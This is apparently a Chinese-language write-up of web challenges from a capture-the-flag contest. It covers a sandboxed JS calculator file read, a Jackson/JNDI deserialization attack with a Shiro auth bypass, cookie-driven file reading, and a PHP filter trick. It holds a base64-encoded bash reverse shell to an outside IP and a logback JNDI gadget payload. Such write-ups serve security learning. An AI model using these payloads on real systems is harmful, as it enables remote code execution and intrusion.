第四届“强网”拟态防御国际精英挑战赛_wp（下）

Crypto 签到

flag{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}

Web 1、zerocalc

读到

readFile('./src/index.js') = const express = require("express");
const path = require("path");
const fs = require("fs");
const notevil = require("./notevil"); // patched something...
const crypto = require("crypto");
const cookieSession = require("cookie-session");
const app = express();
app.use(express.urlencoded({
       extended: true
}));
app.use(express.json());
app.use(cookieSession({
       name: 'session',
       keys: [Math.random().toString(16)],
})); //flag in root directory but name is randomized
const utils = {
       async md5(s) {
               return new Promise((resolve, reject) = >{
                       resolve(crypto.createHash("md5").update(s).digest("hex"));
              });
      },
       async readFile(n) {
               return new Promise((resolve, reject) = >{
                       fs.readFile(n, (err, data) = >{
                               if (err) {
                                       reject(err);
                              } else {
                                       resolve(data);
                              }
                      });
              });
      },
}
const template = fs.readFileSync("./static/index.html").toString();
function render(s) {
       return template.replace("{{res}}", s.join('   '));
}
app.use("/", async(req, res) = >{
       const e = req.body.e;
       const his = req.session.his || [];
       if (e) {
               try {
                       const ret = (await notevil(e, utils)).toString();
                       his.unshift(`$ {
                               e
                       } = $ {
                               ret
                       }`);
                       if (his.length > 10) {
                               his.pop();
                      }
              } catch(error) {
                       console.log(error);
                       his.add(`$ {
                               e
                       } = wrong ? `);
              }
               req.session.his = his;
      }
       res.send(render(his));
});
app.use((err, res) = >{
       console.log(err);
       res.redirect('/');
});
app.listen(process.env.PORT || 8888);

网卡信息网络信息啥的都能直接读，读flag试试

2、Jack-Shiro

jackson反序列化打spring，反弹shell

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaC                       AtaSA+JiAvZGV2L3RjcC84MS43MC41OS4xMTIvMTg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A "81.70.59.112"

提前监听着18888端口

然后postman发送时候/;/json路由可以绕过shiro

["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://vpn：port/ifzli2"}]

就有shell了：

3、new_hospital

dirsearch扫描下，没源码泄露啥的

200     7B   http://123.60.75.243:32767/flag.php
200     6KB http://123.60.75.243:32767/footer.php
200   898B   http://123.60.75.243:32767/header.php
200   30KB http://123.60.75.243:32767/index.php
200   30KB http://123.60.75.243:32767/index.php/login/
200     3KB http://123.60.75.243:32767/js/
200   18KB http://123.60.75.243:32767/news.php
301   321B   http://123.60.75.243:32767/old    -> REDIRECTS TO: http://123.60.75.243:32767/old/
200   28KB http://123.60.75.243:32767/old/
200   19KB http://123.60.75.243:32767/online.php

直接访问flag.php没权限

有一个/old 估计是老站，也扫了一遍，这个里面倒是没flag.php

都点点各个页面，找到一个进去就有报错信息的

更改id参数，发现访问内容是由id参数决定的。

想到扫到的/old这个站，也进去了，发现不是由id参数决定的，第一次进去后，更改id参数，get到的结果是不变的。

如果一开始访问时候cookie是2.js，id无论怎么咋改，都还是file_get_contents(2.js)

猜测由cookie字段决定的访问内容

更改cookie为flag.php的目录：

4、EasyFilter

php伪协议的二次读入流读时解码即可